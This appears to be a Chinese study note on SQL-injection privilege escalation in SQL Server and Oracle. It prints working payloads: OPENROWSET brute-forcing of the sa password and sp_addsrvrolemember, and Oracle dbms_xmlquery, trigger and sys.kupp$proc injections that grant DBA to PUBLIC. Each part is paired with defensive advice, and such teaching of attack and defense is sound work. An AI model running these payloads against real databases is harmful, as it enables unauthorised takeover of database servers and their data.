SQL注入与防御-第四章-5:权限提升

SQL 注入利用 —— 权限提升全解析(按数据库分类拆解)

一、核心背景与目标

在 SQL 注入攻击中,权限提升是突破 “普通用户限制” 的关键步骤。攻击者通过利用数据库漏洞、配置缺陷或内置功能,将普通用户权限提升至管理员(如 SQL Server 的 sysadmin、Oracle 的 DBA ),从而:

  • 访问所有数据库、表、敏感数据(如密码、配置 )。
  • 执行高危操作(如修改数据、创建后门、远程命令执行 )。

二、SQL Server 权限提升(重点:OPENROWSET 与暴力破解 )

(一)核心武器:OPENROWSET 命令

OPENROWSET 是 SQL Server 用于连接远程 / 本地 OLE DB 数据源的命令,DBA 常用它同步数据,但攻击者可滥用其进行:

  1. 暴力破解管理员密码(如 sa 账户 )。
  2. 执行提权存储过程(如 sp_addsrvrolemember )。

(二)攻击流程:暴力破解 sa 密码 + 提权

1. 暴力破解 sa 密码

利用 OPENROWSET 尝试连接本地 SQL Server,枚举密码:

OPENROWSET 是 SQL Server 的特殊函数,用于临时连接外部数据源(如其他 SQL Server、Access、Excel 等 ),并执行查询。

SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN;Address=;uid=sa; pwd=foo', 'select 1')
  • 逻辑

    • sa 账户 + 密码 foo 尝试连接。
    • 若密码正确,返回 1;否则返回登录失败错误(如 Login failed for user 'sa' )。
    • 完整语法解析:
    SELECT * FROM OPENROWSET(
        'SQLOLEDB',           -- 数据源驱动(OLE DB 提供程序)
        'Network=DBMSSOCN;    -- 网络协议(TCP/IP)
        Address=;             -- 目标 IP/地址(此处为空,需填真实地址)
        uid=sa;               -- 目标数据库用户名(sa 是 SQL Server 最高权限账户)
        pwd=foo',             -- 目标数据库密码
        'select 1'            -- 在目标数据源执行的 SQL
    )
    

    核心功能:

    • 临时连接:无需创建永久链接(如 Linked Server ),直接发起一次性连接。
    • 跨库 / 跨服务器查询:从外部数据源(也可以填127.0.0.1)获取数据,可用于数据同步攻击渗透

2. 提权:添加用户到 sysadmin

若破解 sa 密码(如 password ),执行存储过程 sp_addsrvrolemember 提升权限:

SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN;Address=;uid=sa; pwd=password', 'SELECT 1; EXEC master.dbo.sp_addsrvrolemember ''appdbuser'', ''sysadmin''' )
  • 逻辑
    • sa 权限执行 sp_addsrvrolemember,将 appdbuser 添加到 sysadmin 组。
    • 后续 appdbuser 即拥有最高管理员权限。

3. 自动化工具辅助(Sqlinja、Sqlmap )

  • Sqlinja:通过 fingerprint 探测数据库配置,bruteforce 模块暴力破解 sa 密码,自动执行提权。

    ./sqlinja -m bruteforce -w wordlist.txt  # 用字典暴力破解
    
  • Sqlmap:集成 OPENROWSET 提权逻辑,支持自动化检测与利用。

(三)防御要点

  1. 禁用 OPENROWSET:SQL Server 2005+ 默认禁用 OPENROWSET,若需启用,严格限制权限。

    - 禁用(需管理员权限)
    sp_configure 'show advanced options', 1;
    RECONFIGURE;
    sp_configure 'Ad Hoc Distributed Queries', 0;
    RECONFIGURE;
    
  2. 强密码策略:确保 sa 账户使用复杂密码,避免被暴力破解。

  3. 监控异常登录:审计 sa 账户的登录失败日志,及时发现暴力破解行为。

三、Oracle 权限提升(复杂权限体系与漏洞利用 )

(一)核心挑战:Oracle 权限体系严格

Oracle 的权限管理基于角色(Role)和系统权限(System Privilege),普通用户默认权限极低。攻击者需利用:

  1. 内置函数漏洞(如 dbms_xmlquerysys.kupp$proc )。
  2. 过度授权(如 CREATE ANY PROCEDUREEXECUTE ANY PROCEDURE )。

(二)典型攻击路径

1. 利用 dbms_xmlquery 执行 PL/SQL

dbms_xmlquery 是 Oracle 处理 XML 查询的包,若普通用户可访问,可注入 PL/SQL 提权:

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''GRANT DBA TO PUBLIC''; commit; end;') from dual;
  • 逻辑

    • 声明自治事务(PRAGMA AUTONOMOUS_TRANSACTION ),避免回滚。
    • 执行 GRANT DBA TO PUBLIC,将 DBA 角色授予所有用户。

    语句中各部分的作用

    • dbms_xmlquery.newcontextdbms_xmlquery是 Oracle 提供的一个包,用于处理 XML 查询相关的操作。newcontext是该包中的一个函数,它的作用是创建一个 XML 查询上下文,传入的参数是一个字符串,该字符串可以是一个 PL/SQL 块。从安全角度看,当这个包被不当使用时,就可能成为攻击者进行恶意操作的途径。
    • declare PRAGMA AUTONOMOUS_TRANSACTION;:这部分声明了一个自治事务。自治事务是 Oracle 数据库中一种特殊的事务机制,它可以在主事务中独立运行,拥有自己独立的提交和回滚操作,不受主事务状态的影响。
    • begin execute immediate ''GRANT DBA TO PUBLIC'';beginend是 PL/SQL 块的开始和结束标志。execute immediate是一个 PL/SQL 语句,用于动态执行 SQL 语句,这里是试图将数据库管理员(DBA)权限授予所有用户(PUBLIC)。DBA权限非常高,拥有该权限的用户可以对数据库进行几乎所有的管理操作,包括创建和删除用户、表空间,修改数据库结构等。
    • commit;:提交自治事务,使得前面执行的GRANT DBA TO PUBLIC操作生效。如果没有commit,那么所做的权限授予操作不会真正持久化到数据库中。
    • from dual;dual是 Oracle 中的一个虚拟表,常用于单行函数的测试和执行不需要从实际表中获取数据的 SQL 语句。

    声明自治事务的原因

    • 逃避主事务的约束:在正常情况下,一个事务的执行会受到主事务的影响,比如主事务回滚时,该事务中的操作也会被回滚。而声明自治事务后,攻击者可以确保GRANT DBA TO PUBLIC这一危险操作不受其他事务影响,无论主事务是成功还是失败,都能独立地将权限授予出去。
    • 绕过安全检查和审计:一些数据库的安全机制和审计功能是基于主事务来进行判断和记录的。自治事务的独立性可能会让某些安全检查和审计无法及时发现这种危险的权限授予操作。例如,数据库可能设置了对主事务中权限变更操作的严格审计和拦截规则,但自治事务可以在一定程度上避开这些规则。
    • 保证操作的完整性:如果不使用自治事务,当主事务因为其他原因(比如其他 SQL 语句执行错误)而回滚时,GRANT DBA TO PUBLIC这个操作也会被撤销。攻击者为了确保该操作能够成功生效,通过声明自治事务,保证即使主事务出现问题,授予权限的操作也能完成。

2. 滥用 CREATE ANY TRIGGER 权限

若用户有 CREATE ANY TRIGGER 权限,可在 SYSTEM 模式表上创建触发器提权:

- 创建触发器
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace trigger "SYSTEM".the_trigger before insert on system.OLS$ for each row declare pragma autonomous_transaction; begin execute immediate ''GRANT DBA TO PUBLIC''; end;''; commit; end;') from dual;
-- 触发触发器(插入数据到 system.OLS$)
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''insert into SYSTEM.OLS$ (OL_NAME) VALUES (''JOB Done!'')''; end;') from dual;
  • 逻辑

    • system.OLS$ 表上创建触发器,触发时执行 GRANT DBA TO PUBLIC
    • 插入数据到 system.OLS$,触发提权逻辑。

    创建触发器部分

    1. 整体功能:使用dbms_xmlquery.newcontext函数来执行一段匿名 PL/SQL 块,目的是创建一个触发器。
    2. dbms_xmlquery.newcontext函数:这是 Oracle 提供的用于处理 XML 查询相关操作的函数,这里利用它来执行 PL/SQL 代码。
    3. 匿名 PL/SQL 块
      • declare PRAGMA AUTONOMOUS_TRANSACTION;:声明该块为一个自治事务,意味着它可以独立于主事务执行,即使主事务回滚,此块中的操作也不会回滚。
      • begin execute immediate 'create or replace trigger "SYSTEM".the_trigger before insert on system.OLS$ for each row declare pragma autonomous_transaction; begin execute immediate ''GRANT DBA TO PUBLIC''; end;'; commit; end;
        • create or replace trigger "SYSTEM".the_trigger:创建或替换一个名为the_trigger的触发器,属于SYSTEM用户。
        • before insert on system.OLS$:指定该触发器在对system.OLS$表执行插入操作前触发。
        • for each row:表示对每一行插入操作都触发。
        • 内部又嵌套了一个匿名 PL/SQL 块begin execute immediate ''GRANT DBA TO PUBLIC''; end;,其作用是在触发器触发时,执行GRANT DBA TO PUBLIC语句,即授予PUBLIC用户DBA权限,这是一个非常危险的操作,会使数据库面临极大的安全风险。
        • commit;:提交事务,确保触发器创建成功。

    触发触发器部分

    1. 整体功能:同样使用dbms_xmlquery.newcontext函数执行一个匿名 PL/SQL 块,向system.OLS$表插入数据,从而触发前面创建的触发器。
    2. 匿名 PL/SQL 块
      • declare PRAGMA AUTONOMOUS_TRANSACTION;:再次声明为自治事务。
      • begin execute immediate 'insert into SYSTEM.OLS$ (OL_NAME) VALUES (''JOB Done!'')'; end;:执行插入语句,向SYSTEM.OLS$表的OL_NAME列插入数据JOB Done! ,进而触发之前创建的触发器。

    需要注意的是,授予PUBLIC用户DBA权限会带来严重的安全隐患,在实际的生产环境中,应避免此类操作。同时,system.OLS$表通常是 Oracle 系统表,对系统表进行操作需格外谨慎,不当操作可能导致数据库不稳定或数据丢失。

    选择替代的表需要满足这三个因素:

    条件 1:表所有者必须是高权限用户(如 SYSTEMSYS

    条件 2:攻击者需对目标表有 CREATE TRIGGER 和 INSERT 权限

    条件 3:表需 “低监控、易操作”

3. 漏洞利用(如 sys.kupp$proc

sys.kupp$proc.create_master_process 允许执行任意 PL/SQL,若可调用,直接提权:

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin sys.kupp$proc.create_master_process(''a'', ''EXECUTE IMMEDIATE ''GRANT DBA TO PUBLIC''; COMMIT;''); end;') from dual;

(三)防御要点

  1. 最小化权限:严格限制普通用户的系统权限(如 CREATE ANY PROCEDUREEXECUTE ANY PROCEDURE )。
  2. 补丁更新:及时更新 Oracle 补丁,修复 dbms_xmlquery 等内置包的漏洞。
  3. 监控 PL/SQL 执行:审计 EXECUTE IMMEDIATEdbms_xmlquery 等高危操作。

四、通用防御策略(跨数据库适用 )

1. 权限收敛

  • 应用连接数据库的账户,仅授予必要权限(如普通用户仅能访问业务表,无 sysadmin/DBA 权限 )。

2. 禁用高危功能

  • OPENROWSET(SQL Server )、dbms_xmlquery(Oracle )等高危功能,默认禁用或严格限制使用。

3. 强认证与审计

  • 使用复杂密码、多因素认证;定期审计权限变更、异常登录、高危操作日志。

4. 工具与漏洞扫描

  • 用 Sqlmap、Sqlinja 等工具模拟攻击,发现权限提升漏洞;及时修复配置缺陷。

五、总结

权限提升是 SQL 注入攻击的 “质变阶段”,攻击者通过滥用数据库功能(如 OPENROWSET )、漏洞(如 Oracle 内置包缺陷 )或过度授权,突破普通用户限制。防御需从**权限最小化 **、功能禁用日志审计入手,结合自动化工具扫描,切断提权链路。理解不同数据库的提权逻辑,是构建纵深防御的关键。

你可能感兴趣的:(SQL注入与防御,sql,网络安全,web安全)